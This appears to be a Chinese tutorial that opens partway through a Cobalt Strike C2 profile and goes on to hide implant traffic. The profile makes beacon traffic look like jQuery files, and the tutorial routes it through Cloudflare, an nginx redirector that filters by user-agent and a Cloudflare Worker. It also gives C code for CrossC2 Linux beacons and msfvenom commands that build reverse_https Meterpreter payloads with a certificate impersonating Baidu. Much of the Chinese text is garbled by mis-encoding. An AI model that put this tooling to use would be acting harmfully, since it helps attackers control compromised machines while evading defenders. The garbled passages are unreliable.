            append "\".(o=t.documentElement,Math.max(t.body[\"scroll\"+e],o[\"scroll\"+e],t.body[\"offset\"+e],o[\"offset\"+e],o[\"client\"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each(\"blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu\".split(\" \"),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});";
            print;
        }
    }
}

http-post {

    set uri "/jquery-3.3.2.min.js";
    set verb "POST";

    client {

        header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
        #header "Host" "code.jquery.com";
        header "Referer" "http://code.jquery.com/";
        header "Accept-Encoding" "gzip, deflate";
       
        id {
            mask;       
            base64url;
            parameter "__cfduid";            
        }
              
        output {
            mask;
            base64url;
            print;
        }
    }

    server {

        header "Server" "NetDNA-cache/2.2";
        header "Cache-Control" "max-age=0, no-cache";
        header "Pragma" "no-cache";
        header "Connection" "keep-alive";
        header "Content-Type" "application/javascript; charset=utf-8";

        output {
            mask;
            base64url;
            ## The javascript was changed.  Double quotes and backslashes were escaped to properly render (Refer to Tips for Profile Parameter Values)
            # 2nd Line            
            prepend "!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.3.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.3.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for(\"boolean\"==typeof a&&(l=a,a=arguments[s]||{},s++),\"object\"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:\"jQuery\"+(\"3.3.1\"+Math.random()).replace(/\\D/g,\"\"),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||\"[object Object]\"!==c.call(e))&&(!(t=i(e))||\"function\"==typeof(n=f.call(t,\"constructor\")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?\"\":(e+\"\").replace(T,\"\")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,\"string\"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),\"function\"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each(\"Boolean Number String Function Array Date RegExp Object Error Symbol\".split(\" \"),function(e,t){l[\"[object \"+t+\"]\"]=t.toLowerCase()});function C(e){var t=!!e&&\"length\"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&(\"array\"===n||0===t||\"number\"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b=\"sizzle\"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P=\"\r";
            # 1st Line
            prepend "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */";
            append "\".(o=t.documentElement,Math.max(t.body[\"scroll\"+e],o[\"scroll\"+e],t.body[\"offset\"+e],o[\"offset\"+e],o[\"client\"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each(\"blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu\".split(\" \"),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});";
            print;
        }
    }
}

https-certificate為證書相關(guān)的配置,其他client.header中Host的值要為我們申請的域名,其他的部分,根據(jù)個人情況去配置。將host頭修改為Cloudflare加速的域名(http-stager、http-get、http-post):

https-certificate {
set keystore"keystore.store"; //證書所在的位置
set password "1234565";//證書的密碼
}
 
http-config {
   set trust_x_forwarded_for "true";
}

禁用緩存:

在這個Profile jquery-c2.4.*.profile 中,我們請求的URI是以.js結(jié)尾的,Cloudflare作為一個CDN肯定要去緩存它,但這樣的話請求就無法到達(dá)我們的CS服務(wù)器,自然也就無法上線了。

添加Cloudflare規(guī)則 ,不代理js請求。

需要更改Profile中的響應(yīng)頭配置,不然可能會出現(xiàn)能上線但是無法回顯命令的情況

header "Content-Type" "application/javascript; charset=utf-8"; 
修改為: 
header "Content-Type" "application/*; charset=utf-8";

使用c2lint 驗證profile是否配置成功:./c2lint jquery-c2.4.4.profile

或者也可以選擇使用Github 開源項目生成Profile文件,項目地址:https://github.com/FortyNorthSecurity/C2concealer

  • 4. 使用配置文件啟動服務(wù)器:
./teamserver IP 密碼 profile文件

在確保域名解析正確的情況下,此時 HTTPS BEACON 已經(jīng)可以上線了,我們需要對 CS 的 listener 進(jìn)行配置。填入三次你的域名,其他的默認(rèn)就好。

注意:powershell的上線方式需要啟動ssl證書。

0x03 nginx反向代理:

安裝nginx:

apt install nginx nginx-extras

使用https://github.com/threatexpress/cs2modrewrite提供的腳本生成配置文件:

python cs2nginx.py -i havex.profile -c https://127.0.0.1:8443 -r https://www.baidu.com -H www.xxxxxx.com > nginx.conf

對各個參數(shù)進(jìn)行說明,如下

-i:模板文件,這個固定的,可以不用管。
-c:為后端 CS 綁定的端口,這個會在后面 CS 的配置中有所體現(xiàn)
-r:為不合要求的訪問 302 重定向去的位置,這里填了百度
-H:為你的域名,這里就是你配的那個

將已生成的nginx.conf上傳,并覆蓋/etc/nginx/nginx.conf,對生成的配置文件需要進(jìn)一步修改:

  • 配置 ssl 證書:
#####################
# SSL Configuration
#####################
listen 443 ssl;  //這里需要修改成MF允許的https端口
listen [::]:443 ssl;
ssl on;

ssl_certificate /home/cs4.4/server.pem; 
ssl_certificate_key /home/cs4.4/client.key;
ssl_session_cache shared:le_nginx_SSL:1m;
ssl_session_timeout 1440m;
ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3;
ssl_prefer_server_ciphers on;
  • 定制化處理 location 塊:

將訪問jquery-3.3.2.slim.min.js規(guī)定給僅有指定頭才能反向代理到8443端口,這里我用的是jquery-c2.4.4.profile,ua頭就設(shè)置配置文件中的ua頭,使得只有指定 URL 才能訪問,保證了不會被掃到。指定 User-Agent 可以確保的都是 Beacon:

##########################
# C2 Profile endpoints
##########################
# Custom regex to allow requests to backend C2 server
# Note: If the backend C2 server isn't available, the useragent will receive a redirect to the
#       redirector's root page due to the custom error handling configured above
# Note: This intentionally does not handle default Beacon staging ^/....
location ~ ^(/jquery-3\.3\.1\.slim\.min\.js|/jquery-3\.3\.2\.min\.js|/jquery-3\.3\.1\.min\.js|/jquery-3\.3\.2\.slim\.min\.js)$ {
if ($http_user_agent != "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko") {
return 302 $REDIRECT_DOMAIN$request_uri; 
}
proxy_pass          $C2_SERVER;

建議:Nginx 宜以 root 權(quán)限運行,默認(rèn)生成的文件是 www-data 用戶。使用該用戶可能會有權(quán)限問題導(dǎo)致無法上線

CS 配置如下:

成功上線

這時我們的 listener 監(jiān)聽的是 0.0.0.0,我們應(yīng)該配置成只能讓反向代理套件訪問,設(shè)置iptables,阻止非預(yù)期訪問:

iptables -A INPUT -s 127.0.0.1 -p tcp --dport 8443 -j ACCEPT
iptables -A INPUT -p tcp --dport 8443 -j DROP

為了進(jìn)一步避免被發(fā)現(xiàn)真實IP,利用iptables設(shè)置白名單,只允許CloudFlare的回源IP進(jìn)行訪問,不允許直接訪問IP,其回源IP可從 https://www.cloudflare.com/zh-cn/ips/ 獲取

iptables -A INPUT -p tcp --dport 443 -j DROP
iptables -I INPUT -s 173.245.48.0/20 -p tcp --dport 443 -j ACCEPT
..................................................
iptables -I INPUT -s 103.21.244.0/22 -p tcp --dport 443 -j ACCEPT
0x04 配置Crossc2上線Linux:

CrossC2是一款上線Linux系統(tǒng)的拓展插件
項目地址:https://github.com/gloxec/CrossC2/releases/

修改cna文件內(nèi)容:

  • CC2_PATH:指定插件存放位置(win系統(tǒng)使用雙斜杠,linux系統(tǒng)使用反斜杠)
  • CC2_BIN:根據(jù)運行CS客戶端的系統(tǒng)環(huán)境修改

解壓CrossC2Kit-GithubBot-2022-06-07.zip文件,解壓后文件目錄為CrossC2Kit。
去到CS服務(wù)器目錄下,找到.cobaltstrike.beacon_keys文件,拷貝下來,放到和cna同一目錄下。

在不加載profile的情況下,運行客戶端,連接CS并加載插件:

創(chuàng)建監(jiān)聽,注意選擇Beacon HTTPS,然后點擊上方CrossC2選項,生成一個C2的反向監(jiān)聽:

將生成的文件上傳至目標(biāo)機器,賦權(quán)并運行上線CS:

上述操作是未帶C2-Profile,直接帶上C2-Profile,CrossC2所生成的Beacon可能無法上線也可能是上線了執(zhí)行不了命令(這里可以自己嘗試一下)。因此CrossC2提供通信協(xié)議API的方式來解決該問題。

CrossC2提供了一個c2profile.c文件,在該文件內(nèi)編寫相應(yīng)的c代碼,然后打包成.so文件,在使用./genCrossC2.Linux時指定編譯好的.so文件。這樣生成的Beacon就可以按照c編寫的邏輯構(gòu)造數(shù)據(jù)包和解碼數(shù)據(jù)包。

其中還提供了一個https.profile,和默認(rèn)的c2profile.c文件是配對的,可以直接使用:

./teamserver 192.168.54.131 123456 https.profile

gcc c2profile.c -fPIC -shared -o lib_rebind_test.so
./genCrossC2.Linux 192.168.54.131 443 .cobaltstrike.beacon_keys lib_rebind_test.so Linux x64 ./test.out

通信函數(shù)說明:

  • Beacon向TeamServer發(fā)送數(shù)據(jù)時觸發(fā)
    cc2_rebind_http_get_send
    cc2_rebind_http_post_send
  • Beacon接收TeamServer響應(yīng)的數(shù)據(jù)時觸發(fā)
    cc2_rebind_http_get_recv
    cc2_rebind_http_post_recv
  • 查找有用的數(shù)據(jù)部分
    find_payload

以jquery-c2.4.4.profile默認(rèn)配置為例,基本不需要專門修改。
在不去掉C2-Profile中的Mask編碼,需要自己實現(xiàn)Mask的編碼和解碼邏輯方式如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>

static const char *BASE64_STR_CODE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
static const short BASE64_INT_CODE[] = {-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
                                        -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
                                        -1, -1, -1, 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1,
                                        -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16,
                                        17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30,
                                        31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50,
                                        51};
static const short BASE64_INT_LENGTH = sizeof(BASE64_INT_CODE) / sizeof(BASE64_INT_CODE[0]);

void base64_decode_to_ascii(char *base64Str, long res[]) {
    int i = 0;
    int j = 0;
    int v1 = 0;
    int v2 = 0;
    int v3 = 0;
    int base64StrLength = strlen(base64Str);

    for (i = 0; i < base64StrLength; ++i) {
        char ascii = base64Str[i];
        if (ascii == 0x20 | ascii == '\n' | ascii == '\t') {
            break;
        } else {
            if (ascii == '=') {
                ++v3;
                v1 <<= 6;
                ++v2;
                switch (v2) {
                    case 1:
                    case 2:
                        return;
                    case 3:
                        break;
                    case 4:
                        res[j++] = (char) (v1 >> 16);
                        if (v3 == 1) {
                            res[j++] = (char) (v1 >> 8);
                        }
                        break;
                    case 5:
                        return;
                    default:
                        return;
                }
            } else {
                if (v3 > 0) {
                    return;
                }

                if (ascii >= 0 && ascii < BASE64_INT_LENGTH) {
                    short v4 = BASE64_INT_CODE[ascii];
                    if (v4 >= 0) {
                        v1 = (v1 << 6) + v4;
                        ++v2;
                        if (v2 == 4) {
                            res[j++] = (char) (v1 >> 16);
                            res[j++] = (char) (v1 >> 8 & 255);
                            res[j++] = (char) (v1 & 255);
                            v1 = 0;
                            v2 = 0;
                        }
                        continue;
                    }
                }

                if (ascii == 0x20 | ascii == '\n' | ascii == '\t') {
                    return;
                }
            }
        }
    }
}

void ascii_to_base64_encode(long ascii[], unsigned long asciiLength, char res[]) {
    long i = 0;
    long j = 0;
    long v1 = 0;
    long v2 = 0;
    long v3 = 0;
    long v6 = 0;

    for (i = 0; i < asciiLength; ++i) {
        v6 = ascii[v1++];
        if (v6 < 0) {
            v6 += 256;
        }

        v2 = (v2 << 8) + v6;
        ++v3;
        if (v3 == 3) {
            res[j++] = BASE64_STR_CODE[v2 >> 18];
            res[j++] = BASE64_STR_CODE[v2 >> 12 & 63];
            res[j++] = BASE64_STR_CODE[v2 >> 6 & 63];
            res[j++] = BASE64_STR_CODE[v2 & 63];
            v2 = 0;
            v3 = 0;
        }
    }

    if (v3 > 0) {
        if (v3 == 1) {
            res[j++] = BASE64_STR_CODE[v2 >> 2];
            res[j++] = BASE64_STR_CODE[v2 << 4 & 63];
            res[j++] = (unsigned char) '=';
        } else {
            res[j++] = BASE64_STR_CODE[v2 >> 10];
            res[j++] = BASE64_STR_CODE[v2 >> 4 & 63];
            res[j++] = BASE64_STR_CODE[v2 << 2 & 63];
        }
        res[j] = (unsigned char) '=';
    }
}

unsigned long get_base64_decode_length(char *base64Str) {
    long num;
    long base64StrLength = strlen(base64Str);
    if (strstr(base64Str, "==")) {
        num = base64StrLength / 4 * 3 - 2;
    } else if (strstr(base64Str, "=")) {
        num = base64StrLength / 4 * 3 - 1;
    } else {
        num = base64StrLength / 4 * 3;
    }
    return sizeof(unsigned char) * num;
}

unsigned long get_base64_encode_length(long strLen) {
    long num;
    if (strLen % 3 == 0) {
        num = strLen / 3 * 4;
    } else {
        num = (strLen / 3 + 1) * 4;
    }
    return sizeof(unsigned char) * num;
}

void mask_decode(long ascii[], unsigned long asciiLength, long res[]) {
    long i = 0;
    long j = 0;
    short key[4] = {
            ascii[0],
            ascii[1],
            ascii[2],
            ascii[3]
    };
    for (i = 4; i < asciiLength; ++i) {
        res[j] = ascii[i] ^ key[j % 4];
        j++;
    }
}

void mask_encode(long ascii[], unsigned long asciiLength, long res[]) {
    long i = 0;
    srand(time(NULL));
    short key[4] = {
            (char) (rand() % 255),
            (char) (rand() % 255),
            (char) (rand() % 255),
            (char) (rand() % 255)
    };
    res[0] = key[0];
    res[1] = key[1];
    res[2] = key[2];
    res[3] = key[3];
    for (i = 4; i < asciiLength; i++) {
        res[i] = ascii[i - 4] ^ key[i % 4];
    }
}

char *fix_reverse(char *str) {
    int i = 0;
    unsigned long strLength = strlen(str);
    char *res = calloc(strLength + 4, strLength + 4);
    for (i = 0; i < strLength; ++i) {
        if (str[i] == '_') {
            res[i] = '/';
        } else if (str[i] == '-') {
            res[i] = '+';
        } else {
            res[i] = str[i];
        }
    }
    while (strlen(res) % 4 != 0) {
        res[strLength++] = '=';
    }
    res[strlen(res) + 1] = '\0';
    return res;
}

char *fix(char *str) {
    int i;
    unsigned long strLength = strlen(str);
    char *res = calloc(strLength, strLength);
    for (i = 0; i < strLength; i++) {
        if (str[i] == '/') {
            res[i] = '_';
        } else if (str[i] == '+') {
            res[i] = '-';
        } else if (str[i] == '=') {
            continue;
        } else {
            res[i] = str[i];
        }
    }
    return res;
}

char *find_payload(char *rawData, long long rawData_len, char *start, char *end, long long *payload_len) {
    rawData = strstr(rawData, start) + strlen(start);

    *payload_len = strlen(rawData) - strlen(strstr(rawData, end));

    char *payload = (char *) calloc(*payload_len, sizeof(char));
    memcpy(payload, rawData, *payload_len);
    return payload;
}

char *cc2_rebind_http_post_send_param(char *data) {
    unsigned long base64DecodeLength = get_base64_decode_length(data);

    long base64DecodeRes[base64DecodeLength];
    memset(base64DecodeRes, 0, base64DecodeLength);
    base64_decode_to_ascii(data, base64DecodeRes);

    long maskEncodeRes[base64DecodeLength + 4];
    memset(maskEncodeRes, 0, base64DecodeLength + 4);
    mask_encode(base64DecodeRes, base64DecodeLength + 4, maskEncodeRes);

    unsigned long base64EncodeLength = get_base64_encode_length(sizeof(maskEncodeRes) / sizeof(maskEncodeRes[0]));
    char *result = calloc(base64EncodeLength, base64EncodeLength);
    ascii_to_base64_encode(maskEncodeRes, base64DecodeLength + 4, result);

    return result;
}

char *cc2_rebind_http_recv_param(char *payload) {
    char *data = fix_reverse(payload);

    unsigned long base64DecodeLength = get_base64_decode_length(data);
    long base64DecodeRes[base64DecodeLength];
    memset(base64DecodeRes, 0, base64DecodeLength);
    base64_decode_to_ascii(data, base64DecodeRes);

    long maskDecodeRes[base64DecodeLength - 4];
    memset(maskDecodeRes, 0, base64DecodeLength - 4);
    mask_decode(base64DecodeRes, base64DecodeLength, maskDecodeRes);

    unsigned long base64EncodeLength = get_base64_encode_length(base64DecodeLength - 4);
    char *result = calloc(base64EncodeLength, base64EncodeLength);
    ascii_to_base64_encode(maskDecodeRes, base64DecodeLength - 4, result);

    return result;
}

void cc2_rebind_http_get_send(char *reqData, char **outputData, long long *outputData_len) {
    char *requestBody = "GET /%s HTTP/1.1\r\n"
                        "Host: code.jquery.com\r\n"
                        "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
                        "Accept-Encoding: gzip, deflate\r\n"
                        "User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko\r\n"
                        "Cookie: __cfduid=%s\r\n"
                        "Referer: http://code.jquery.com/\r\n"
                        "Connection: close\r\n\r\n";

    char postPayload[20000];
    sprintf(postPayload, requestBody, "jquery-3.3.1.min.js", reqData);

    *outputData_len = strlen(postPayload);
    *outputData = (char *) calloc(1, *outputData_len);
    memcpy(*outputData, postPayload, *outputData_len);
}

void cc2_rebind_http_post_send(char *reqData, char *id, char **outputData, long long *outputData_len) {
    char *requestBody = "POST /%s?__cfduid=%s HTTP/1.1\r\n"
                        "Host: code.jquery.com\r\n"
                        "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
                        "Accept-Encoding: gzip, deflate\r\n"
                        "User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko\r\n"
                        "Referer: http://code.jquery.com/\r\n"
                        "Connection: close\r\n"
                        "Content-Length: %d\r\n\r\n%s";

    id = cc2_rebind_http_post_send_param(id);
    reqData = cc2_rebind_http_post_send_param(reqData);

    char *postPayload = (char *) calloc(1, strlen(requestBody) + strlen(reqData) + 200);

    sprintf(postPayload, requestBody, "jquery-3.3.2.min.js", id, strlen(reqData), reqData);
    *outputData_len = strlen(postPayload);
    *outputData = (char *) calloc(1, *outputData_len);

    memcpy(*outputData, postPayload, *outputData_len);
    free(postPayload);
}

void cc2_rebind_http_get_recv(char *rawData, long long rawData_len, char **outputData, long long *outputData_len) {
    char *start = "return-1},P=\"\r";
    char *end = "\".(o=t.documentElement";

    long long payload_len = 0;
    char *payload = find_payload(rawData, rawData_len, start, end, &payload_len);

    *outputData = cc2_rebind_http_recv_param(payload);
    *outputData_len = strlen(*outputData);
}

void cc2_rebind_http_post_recv(char *rawData, long long rawData_len, char **outputData, long long *outputData_len) {
    char *start = "return-1},P=\"\r";
    char *end = "\".(o=t.documentElement";

    long long payload_len = 0;
    char *payload = find_payload(rawData, rawData_len, start, end, &payload_len);

    *outputData = cc2_rebind_http_recv_param(payload);
    *outputData_len = strlen(*outputData);
}

項目地址:https://github.com/Richard-Tang/CrossC2-C2Profile/blob/main/c2profile.c

同樣的編譯成so文件,在生成Beacon時指定so文件。

gcc c2profile.c -fPIC -shared -o lib_rebind_test.so
./genCrossC2.Linux 192.168.54.131 443 .cobaltstrike.beacon_keys lib_rebind_test.so Linux x64 ./test.out

運行上線,此時在帶C2-Profile的情況下能正常上線CrossC2的Beacon。

0x05 配置cloudflare-worker:

因為cloudflare不支持域前置,所以用這個代替,類似于域前置的一個作用。
創(chuàng)建一個服務(wù)然后選擇快速編輯,寫入js腳本:

let upstream = 'https://your-domain.com'
   
addEventListener('fetch', event => {
    event.respondWith(fetchAndApply(event.request));
})
   
async function fetchAndApply(request) {
    const ipAddress = request.headers.get('cf-connecting-ip') || '';
    let requestURL = new URL(request.url);
    let upstreamURL = new URL(upstream);
    requestURL.protocol = upstreamURL.protocol;
    requestURL.host = upstreamURL.host;
    requestURL.pathname = upstreamURL.pathname + requestURL.pathname;
   
    let new_request_headers = new Headers(request.headers);
    new_request_headers.set("X-Forwarded-For", ipAddress);
    let fetchedResponse = await fetch(
        new Request(requestURL, {
            method: request.method,
            headers: new_request_headers,
            body: request.body
        })
    );
    let modifiedResponseHeaders = new Headers(fetchedResponse.headers);
    modifiedResponseHeaders.delete('set-cookie');
    return new Response(
        fetchedResponse.body,
        {
            headers: modifiedResponseHeaders,
            status: fetchedResponse.status,
            statusText: fetchedResponse.statusText
        }
    );
}

Metasploit 流量加密:


使用基于 HTTP 或者 HTTPS協(xié)議, 那么就可以實現(xiàn)基于應(yīng)用層的加密:

windows/meterpreter/reverse_http
windows/meterpreter/reverse_https

優(yōu)點:流量加密,允許在不終止有效負(fù)載的情況下斷開有效負(fù)載(并退出 msfconsole)。然后,當(dāng)再次設(shè)置處理程序時,payloads 將自動返回。

impersonate_ssl 模塊:

1、生成證書:

該模塊通過選項中提供的經(jīng)過身份驗證的源的SSL證書(會請求遠(yuǎn)程 SSL 證書)創(chuàng)建本地副本,輸出 (PEM|DER) 格式的私鑰/證書,可以在提供SSLCert選項的Metasploit的所有模塊中使用。

use auxiliary/gather/impersonate_ssl
set RHOST www.baidu.com

補充基礎(chǔ):

.pem-在RFC 1421至1424中定義,這是一種容器格式,可以只包含公共證書(例如Apache安裝和CA證書文件/etc/ssl/certs),或者可以包括完整的證書鏈,包括公共密鑰,私鑰和根證書。令人困惑的是,由于PKCS10格式可以轉(zhuǎn)換為PEM ,因此它也可能對CSR進(jìn)行編碼。該名稱來自“ 隱私增強郵件(PEM)”,這是一種用于保護(hù)電子郵件的失敗方法,但是其使用的容器格式仍然存在,并且是x509 ASN.1密鑰的base64轉(zhuǎn)換。

2、創(chuàng)建完證書后,可以為其創(chuàng)建HTTP或HTTPS類型的有效負(fù)載,并為其提供PEM格式的證書以用于驗證連接:

msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.54.129 LPORT=4443 PayloadUUIDTracking=true PayloadUUIDName=Whoamishell HandlerSSLCert=/root/www.baidu.com.pem StagerVerifySSLCert=true -f exe -o 4443.exe
# 或者生成一個psh類型的木馬:
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.54.129 LPORT=4443 PayloadUUIDTracking=true PayloadUUIDName=ParanoidStagedPSH HandlerSSLCert=/root/www.baidu.com.pem StagerVerifySSLCert=true -f psh-cmd -o shell.bat
  • HandlerSSLCert:向處理程序通知所使用的PEM證書。
  • StagerVerifySSLCert:當(dāng)收到一個連接時執(zhí)行SSL證書驗證。
  • PayloadUUIDTracking和PayloadUUIDName:可以在監(jiān)聽的時候過濾掉不需要的回連請求。

3、啟動監(jiān)聽:

use exploit/multi/handler 
set payload windows/meterpreter/reverse_https
set LHOST 192.168.54.129
set LPORT 4443
set HandlerSSLCert /root/www.baidu.com.pem
set StagerVerifySSLCert true
exploit

win7靶機反彈失敗

其他補充:


  • 服務(wù)器訪問IP源限制:將真實服務(wù)器防火墻+安全組的訪問源ip做網(wǎng)段限制!設(shè)置成僅允許Cloudflare網(wǎng)段進(jìn)行訪問
  • C2服務(wù)器安全加固:C2服務(wù)器的客戶端默認(rèn)連接的50050端口,配置好證書確認(rèn)登錄指紋信息!修改為其他高位端口,不用的時候利用防火墻安全組都deny或者限制登錄ip范圍
  • 禁止PING,從某種角度可以判定為主機為不存活狀態(tài):/etc/sysctl.conf、net.ipv4.icmp_echo_ignore_all=1sysctl -p
  • 服務(wù)器防火墻,c2上線端口只能讓cdn的IP訪問

cloudflare 使用的IP段:

173.245.48.0/20
103.21.244.0/22
103.22.200.0/22
103.31.4.0/22
141.101.64.0/18
108.162.192.0/18
190.93.240.0/20
188.114.96.0/20
197.234.240.0/22
198.41.128.0/17
162.158.0.0/15
104.16.0.0/12
172.64.0.0/13
131.0.72.0/22

國內(nèi)IP段是cloudflare與百度云合作的節(jié)點:

162.159.211.4-103
103.21.244.0/22
103.22.200.0/22
103.31.4.0/22
104.16.0.0/12
108.162.192.0/18
131.0.72.0/22
